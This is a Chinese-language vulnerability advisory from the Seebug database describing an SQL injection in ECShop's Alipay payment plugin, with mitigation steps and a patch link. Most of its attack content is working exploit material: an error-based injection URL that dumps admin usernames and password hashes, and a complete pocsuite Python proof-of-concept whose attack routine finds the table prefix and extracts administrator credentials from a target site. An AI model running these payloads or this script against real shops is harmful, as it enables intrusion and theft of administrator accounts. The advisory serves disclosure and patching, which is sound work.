ECShop支付宝插件SQL注入漏洞

2013-02-22T00:00:00
ID SSV:60643
Type seebug
Reporter Root
Modified 2013-02-22T00:00:00

Description

0x01

在 \includes\modules\payment\alipay.php 文件中,有一个 response 函数用来处理支付信息,在 ECSHOP 的 init 初始化文件中,默认是做了全局转义的,而这个漏洞的精髓在于绕过全局转义。

在 $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); 中,使用 str_replace 函数对 $_GET[out_trade_no] 中的内容进行替换,替换内容和原字符串都是可控的,所以我们就可以将 $_GET[out_trade_no] 中的反斜杠做替换,从而绕过单引号。

最终 $order_sn 变量被带入 check_money() 函数,跟进 check_money():

这里看到, $order_sn 被带入了数据库进行查询,造成了注入漏洞。

0x02

EXP :

127.0.0.1/ecshop/upload/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(),concat(floor(rand(0)2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)%23

打印出 SQL 语句:

SELECT order_amount FROM ecshop1.ecs_pay_log WHERE log_id = '\' and (select * from (select count(),concat(floor(rand()2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)#'

注意到, $log_id 变量(也就是 $order_sn )变成了 \ ,这是因为提交的 out_trade_no 经过转义变成了 \0\ ’ , 通过控制 subject 变量( 0 ),带入函数 str_replace 中变成了:

str_replace( ‘ 0 ’ , ’’ , ” \0\ ’ ” )

通过函数的替换,最终 $order_sn 就变成了 \ , 从而绕过了单引号转义。

测试结果:

0x03

临时解决方案:    1. 关闭支付宝插件    2. 修改/includes/modules/payment/alipay.php文件中      $order_sn=str_replace($_GET['subject'],'',$_GET['out_trade_no']);      $order_sn=trim($order_sn);      修改成如下代码      $order_sn=str_replace($_GET['subject'],'',$_GET['out_trade_no']);      $order_sn=trim(addslashes($order_sn));   

ECShop官方补丁程序下载地址(推荐):   

http://bbs.ecshop.com/viewthread.php?tid=1125380&extra=page=1&orderby=replies&filter=172800

                                        
                                            
                                                #!/usr/bin/env python
# coding: utf-8
import re
import urllib

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = 'SSV-60643'
    version = '1'
    author = '0x153'
    vulDate = '2013-02-22'
    createDate = '2015-10-15'
    updateDate = '2015-10-15'
    references = ['http://www.sebug.net/vuldb/ssvid-60643','http://www.tuicool.com/articles/vauaMz','http://www.waitalone.cn/ecshop-alipay-plug-injected-exp.html']
    name = 'ECShop支持宝插件SQL注入漏洞'
    appPowerLink = 'www.ecshop.com'
    appName = 'ECShop'
    appVersion = '2.7.3'
    vulType = 'SQL Injection'
    desc = '''
       ECShop支持宝插件SQL注入漏洞
    '''

    samples = ['']

    '''
    获取标准url
    @param url 需要转化的url
    '''
    def get_standard_url(self,data,url):
        if url.count("http") != 0:
          if url[-1] == '/':  #http://www.xxoo.com/
            url = "%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
          else:   #http://www.xxoo.com
            url = "%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
        else: 
          if url[-1] ==  '/':  #www.xxoo.com/club/
            url = "http://%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
          else:   #www.xxoo.com/club
            url = "http://%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
        return url

    '''
    获取表前缀
    @param url 目标主机的url
    '''
    def get_table_pre(self,url):
        data = "respond.php?code=alipay&subject=0&out_trade_no=%00' union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema=database() limit 1))a from information_schema.tables group by a)b%23"
        url = self.get_standard_url(data,url)
 
        pattern = re.compile(r"Duplicate entry '[0,1]?(.+?)[0,1]?'")

        '''
        使用这种注入方式存在一定不确定性,需要多循环几次
        '''
        for i in range(10): 
            r = req.get(url)
            ret = pattern.findall(r.content)
            if ret:
                if ret[0].count('ecs') != 0:
                    return 'ecs'
                else:
                    return ret[0][0:ret[0].index('_')]  
        return None

    '''
    注入攻击代码
    @param url 目标主机的url
    @param count 爆数据的参数,default=0
    @param table_pre 数据库表前缀
    '''
    def _attack(self):
        try:
            result ={}
            #获取表前缀
            table_pre = self.get_table_pre(self.url)
            if table_pre is None:
                return self.parse_attack(result)
            #获取url
            data = "respond.php?code=alipay&subject=0&out_trade_no=%00' union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(CHAR(126),CHAR(126),CHAR(126),user_name,CHAR(124),CHAR(124),CHAR(124),password,CHAR(126),CHAR(126),CHAR(126)) from {table_pre}_admin_user limit 1))a from information_schema.tables group by a)b%23".format(table_pre=table_pre)
            url = self.get_standard_url(data,self.url)

            pattern = re.compile(r"~~~(\w+?)\|\|\|(\w+?)~~~")

            for i in range(10):
                r = req.get(url)
                re_result = pattern.findall(r.content.decode(r.encoding))
                if re_result:
                    result['AdminInfo'] = {}
                    result['AdminInfo']['Username'] = re_result[0][0]
                    result['AdminInfo']['Password'] = re_result[0][1]
                    return self.parse_attack(result)
            return self.parse_attack(result)
        except:
            import traceback
            traceback.print_exc()

    def _verify(self, verify=True):
        try:
            result = {}
            payload = "/respond.php?code=alipay&subject=0&out_trade_no=%00' union select 1 from (select count(*),concat(floor(rand()*2),(select md5(123456)))a from information_schema.tables group by a)b%23"
            vulurl = self.url + payload

            '''
            本地测试的时候,存在不稳定的情况,
            可能是MySQL的bug,使用循环减少误报
            '''
            for i in range(10): 
                respond = req.get(vulurl)
                if 'e10adc3949ba59abbe56e057f20f883e' in respond.content:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = vulurl
                    return self.parse_attack(result)
            return self.parse_attack(result)
        except:
            import traceback
            traceback.print_exc()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)